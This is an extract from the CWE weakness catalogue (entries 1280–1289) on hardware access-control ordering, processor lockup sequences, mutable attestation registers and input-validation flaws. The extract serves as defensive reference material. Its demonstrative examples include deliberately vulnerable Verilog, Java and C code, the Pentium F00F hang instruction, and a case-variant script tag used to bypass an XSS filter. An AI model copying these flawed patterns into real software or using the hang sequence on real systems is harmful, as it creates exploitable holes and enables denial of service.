Extended Description

The product implements a hardware-based access control check. The asset should be only be accessible after the check is successful. If, however, this operation is not atomic and the asset is accessed before the check completes, the security of the system is undermined.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ChildOf	G	696	Incorrect Behavior Order	1348

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Processor IP *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality Integrity	Modify Memory Read Memory Modify Application Data Read Application Data Gain Privileges or Assume Identity Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Implement the access control check first. Access should only be given to asset if agent is authorized.

Demonstrative Examples

Example 1:

Assume that the module foo_bar implements a protected register. The register content is the asset. Only transactions made by user id (indicated by signal usr_id) 0x4 are allowed to modify the register contents. The signal grant_access is used to provide access.

Example Language: Verilog *(bad)*

```
module foo_bar(data_out, usr_id, data_in, clk, rst_n);

output reg [7:0] data_out;;

input wire [2:0] usr_id;

input wire [7:0] data_in;

input wire clk, rst_n;

wire grant_access;

always @ (posedge clk or negedge rst_n)

begin

   if (!rst_n)
      data_out = 0;
   else
      data_out = (grant_access) ? data_in : data_out;
      assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
   end
endmodule
```

This code uses Verilog blocking assignments for data_out and grant_access. Therefore, these assignments happen sequentially (i.e., data_out is updated to new value first, and grant_access is updated the next cycle) and not in parallel. Therefore, the asset data_out is allowed to be modified even before the access control check is complete and grant_access signal is set. Since grant_access does not have a reset value, it will be metastable and will randomly go to either 0 or 1.

Example Language: Verilog *(good)*

Flipping the order of the assignment of data_out and grant_access should solve the problem. The correct snippet of code is shown below.

```
always @ (posedge clk or negedge rst_n)
begin
    if (!rst_n)
        data_out = 0;
    else
        assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;
        data_out = (grant_access) ? data_in : data_out;
    end
endmodule
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior (Halt and Catch Fire)

Weakness ID : 1281 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Specific combinations of processor instructions lead to undesirable behavior such as locking the processor until a hard reset performed.

Extended Description

If the instruction set architecture (ISA) and processor logic are not designed carefully, and tested thoroughly, certain combinations of instructions may lead to locking the processor or other unexpected and undesirable behavior. Upon encountering unimplemented instruction opcodes or illegal instruction operands the processor should throw an exception and carry on without negatively impacting security. However, specific combinations of legal and illegal instructions may cause unexpected behavior with security implications such as allowing unprivileged programs to completely lock the CPU.

Some examples are the Pentium f00f bug, MC6800 HCF, the Cyrix comma bug, and more generally other "Halt and Catch Fire" instructions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Varies by Context	

Potential Mitigations

Phase: Testing

Implement a rigorous testing strategy that incorporates randomization to explore instruction sequences that are unlikely to appear in normal workloads in order to identify halt and catch fire instruction sequences.

Phase: Patching and Maintenance

Patch operating system to avoid running Halt and Catch Fire type sequences or to mitigate the damage caused by unexpected behaviour. See [REF-1108].

Demonstrative Examples

Example 1:

The Pentium F00F bug is a real-world example of how a sequence of instructions can lock a processor. The “cmpxchg8b” instruction compares contents of registers with a memory location. The operand is expected to be a memory location, but in the bad code snippet it is the eax register. Because the specified operand is illegal, an exception is generated, which is the correct behavior and not a security issue in itself. However, when prefixed with the “lock” instruction, the processor deadlocks because locked memory transactions require a read and write pair of transactions to occur before the lock on the memory bus is released. The exception causes a read to occur but there is no corresponding write, as there would have been if a legal operand had been supplied to the cmpxchg8b instruction.

Example Language: Other *(bad)*

```
lock cmpxchg8b eax
```

Observed Examples

Reference	Description
CVE-1999-1420	A bug in Intel Pentium processor (MMX and Overdrive) allows local users to cause a denial of service (hang) in Intel-based operating systems such as Windows NT and Windows 95, via an invalid instruction, aka the "Invalid Operand with Locked CMPXCHG8B Instruction" problem. *https://nvd.nist.gov/vuln/detail/CVE-1999-1476*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1201	Core and Compute Issues	1194	2010

References

[REF-1094]Christopher Domas. "Breaking the x86 ISA". < https://github.com/xoreaxeaxeax/sandsifter/blob/master/references/domas_breaking_the_x86_isa_wp.pdf >.

[REF-1108]Intel Corporation. "Deep Dive: Retpoline: A Branch Target Injection Mitigation". < https://software.intel.com/security-software-guidance/insights/deep-dive-retpoline-branch-target-injection-mitigation >.

CWE-1282: Assumed-Immutable Data Stored in Writable Memory

Weakness ID : 1282 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Immutable data, such as a first-stage bootloader, device identifiers, and "write-once" configuration settings are stored in writable memory that can be re-programmed/updated in the field.

Extended Description

Security services such as secure boot, authentication of code and data, and device attestation all require assets such as the first stage bootloader, public keys, golden hash digests, etc. which are implicitly trusted. Storing these assets in read-only memory (ROM), fuses, or one-time programmable (OTP) memory provides strong integrity guarantees and provides a root of trust for securing the rest of the system. Security is lost if assets assumed to be immutable can be modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	999

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	

Potential Mitigations

Phase: Implementation

All immutable code or data should be programmed into ROM or write-once memory.

Demonstrative Examples

Example 1:

Cryptographic hash functions are commonly used to create unique fixed-length digests used to ensure the integrity of code and keys. A golden digest is stored on the device and compared to the digest computed from the data to be verified. If the digests match, the data has not been maliciously modified. If an attacker can modify the golden digest this provides the ability to create arbitrary data that passes the verification check. Hash digests used to verify public keys and early stage boot code should be immutable, with the strongest protection offered by hardware immutability.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1202	Memory and Storage Issues	1194	2010

Notes

Maintenance

This entry is still in under development and will continue to see updates and content improvements, especially as it relates to CWE-1233.

CWE-1283: Mutable Attestation or Measurement Reporting Data

Weakness ID : 1283 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The register contents used for attestation or measurement reporting data to verify boot flow are modifiable by an adversary.

Extended Description

A System-on-Chip (SoC) implements secure boot or verified boot. During this boot flow, the SoC often measures the code that it authenticates. The measurement is usually done by calculating the one-way hash of the code binary and extending it to the previous hash. The hashing algorithm should be a Secure One-Way hash function. The final hash, i.e., the value obtained after the completion of the boot flow, serves as the measurement data used in reporting or in attestation. The calculated hash is often stored in registers that can later be read by the party of interest to determine tampering of the boot flow. A common weakness is that the contents in these registers are modifiable by an adversary, thus spoofing the measurement.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Measurement data should be stored in registers that are read-only or otherwise have access controls that prevent modification by an untrusted agent.

Demonstrative Examples

Example 1:

The SoC extends the hash and stores the results in registers. Without protection, an adversary can write their chosen hash values to these registers. Thus, the attacker controls the reported results.

To prevent the above scenario, the registers should have one or more of the following properties:

1. Should be Read-Only with respect to an adversary
2. Cannot be extended or modifiable either directly or indirectly (using a trusted agent as proxy) by an adversary
3. Should have appropriate access controls or protections

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues	1194	2008

Notes

Maintenance

This entry is still in development and will continue to see updates and content improvements.

References

[REF-1107]Intel Corporation. "PCIe Device Measurement Requirements". 2018 September. < https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/pcie-device-security-enhancements.pdf >.

CWE-1284: Improper Validation of Specified Quantity in Input

Weakness ID : 1284 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.

Extended Description

Specified quantities include size, length, frequency, price, rate, number of operations, time, and others. Code may rely on specified quantities to allocate resources, perform calculations, control iteration, etc. When the quantity is not properly validated, then attackers can specify malicious quantities to cause excessive resource allocation, trigger unexpected failures, enable buffer overflows, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19
ParentOf	B	606	Unchecked Input for Loop Condition	1207
ParentOf	V	789	Uncontrolled Memory Allocation	1474

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *Since quantities are used so often to affect resource allocation or process financial data, they are often present in many places in the code.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Demonstrative Examples

Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

Example Language: Java *(bad)*

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

Example Language: C *(bad)*

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Observed Examples

Reference	Description
CVE-2008-1440	lack of validation of length field leads to infinite loop *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1440*
CVE-2008-2374	lack of validation of string length fields allows memory consumption or buffer over-read *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2374*

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input

Weakness ID : 1285 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties.

Extended Description

Often, indexable resources such as memory buffers or files can be accessed using a specific position, index, or offset, such as an index for an array or a position for a file. When untrusted input is not properly validated before it is used as an index, attackers could access (or attempt to access) unauthorized portions of these resources. This could be used to cause buffer overflows, excessive resource allocation, or trigger unexpected failures.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19
ParentOf	V	129	Improper Validation of Array Index	312
ParentOf	V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1449

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Demonstrative Examples

Example 1:

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

Example Language: C *(bad)*

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2)
            sizes[num - 1] = size;
    }
        ...
}
```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: C *(good)*

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            if (num > 0 && num <= (unsigned)count)
                sizes[num - 1] = size;
            else
                /* warn about possible attempt to induce buffer overflow */
                report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
        }
    }
        ...
}
```

Example 2:

In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

Example Language: Java *(bad)*

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
```

```
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}
```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: Java *(good)*

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
    else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}
```

An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

Example Language: Java *(good)*

```
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

Example 3:

The following example asks a user for an offset into an array to select an item.

Example Language: C *(bad)*

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Observed Examples

Reference	Description
CVE-2005-0369	large ID in packet used as array index *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0369*
CVE-2001-1009	negative array index as argument to POP LIST command *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1009*

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1286: Improper Validation of Syntactic Correctness of Input

Weakness ID : 1286 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.

Extended Description

Often, complex inputs are expected to follow a particular syntax, which is either assumed by the input itself, or declared within metadata such as headers. The syntax could be for data exchange formats, markup languages, or even programming languages. When untrusted input is not properly validated for the expected syntax, attackers could cause parsing failures, trigger unexpected errors, or expose latent vulnerabilities that might not be directly exploitable if the input had conformed to the syntax.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19
ParentOf	B	112	Missing XML Validation	249

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the

full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Demonstrative Examples

Example 1:

The following code loads and parses an XML file.

Example Language: Java *(bad)*

```
// Read DOM
try {
    ...
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating( false );
    ....
    c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
    ...
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

Observed Examples

Reference	Description
CVE-2007-5893	HTTP request with missing protocol version number leads to crash *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5893*

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1287: Improper Validation of Specified Type of Input

Weakness ID : 1287 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.

Extended Description

When input does not comply with the expected type, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities that would not be possible if the input conformed with the expected type.

This weakness can appear in type-unsafe programming languages, or in programming languages that support casting or conversion of an input to another type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19
PeerOf	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1563

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Observed Examples

Reference	Description
CVE-2008-2223	SQL injection through an ID that was supposed to be numeric. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2223*

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1288: Improper Validation of Consistency within Input

Weakness ID : 1288 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives a complex input with multiple elements or fields that must be consistent with each other, but it does not validate or incorrectly validates that the input is actually consistent.

Extended Description

Some input data can be structured with multiple elements or fields that must be consistent with each other, e.g. a number-of-items field that is followed by the expected number of elements. When such complex inputs are inconsistent, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Observed Examples

Reference	Description
CVE-2018-16733	product does not validate that the start block appears before the end block *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16733*
CVE-2006-3790	size field that is inconsistent with packet size leads to buffer over-read *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3790*
CVE-2008-4114	system crash with offset value that is inconsistent with packet size *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4114*

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1289: Improper Validation of Unsafe Equivalence in Input

Weakness ID : 1289 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value.

Extended Description

Attackers can sometimes bypass input validation schemes by finding inputs that appear to be safe, but will be dangerous when processed at a lower layer or by a downstream component. For example, a simple XSS protection mechanism might try to validate that an input has no "<script>" tags using case-sensitive matching, but since HTML is case-insensitive when processed by web browsers, an attacker could injest "<ScrIpT>" and trigger XSS.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19
PeerOf	B	41	Improper Resolution of Path Equivalence	81
PeerOf	B	178	Improper Handling of Case Sensitivity	411

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if

the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Observed Examples

Reference	Description
CVE-2005-0269	File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0269*
CVE-2001-1238	Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1238*
CVE-2004-2214	HTTP server allows bypass of access restrictions using URIs with mixed case. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2214*

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

Categories

Category-2: 7PK - Environment

Category ID : 2 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that are typically introduced during unexpected environmental conditions. According to the authors of the Seven Pernicious Kingdoms, "This section includes everything that is outside of the source code but is still critical to the security of the product that is being created. Because the issues covered by this kingdom are not directly related to source code, we separated it from the rest of the kingdoms."

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2027
MemberOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	1931
HasMember	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	700	1
HasMember	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	700	2
HasMember	V	7	J2EE Misconfiguration: Missing Custom Error Page	700	4
HasMember	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	700	6
HasMember	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	700	7
HasMember	V	11	ASP.NET Misconfiguration: Creating Debug Binary	700	9

Nature	Type	ID	Name	V	Page
HasMember	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	700	11
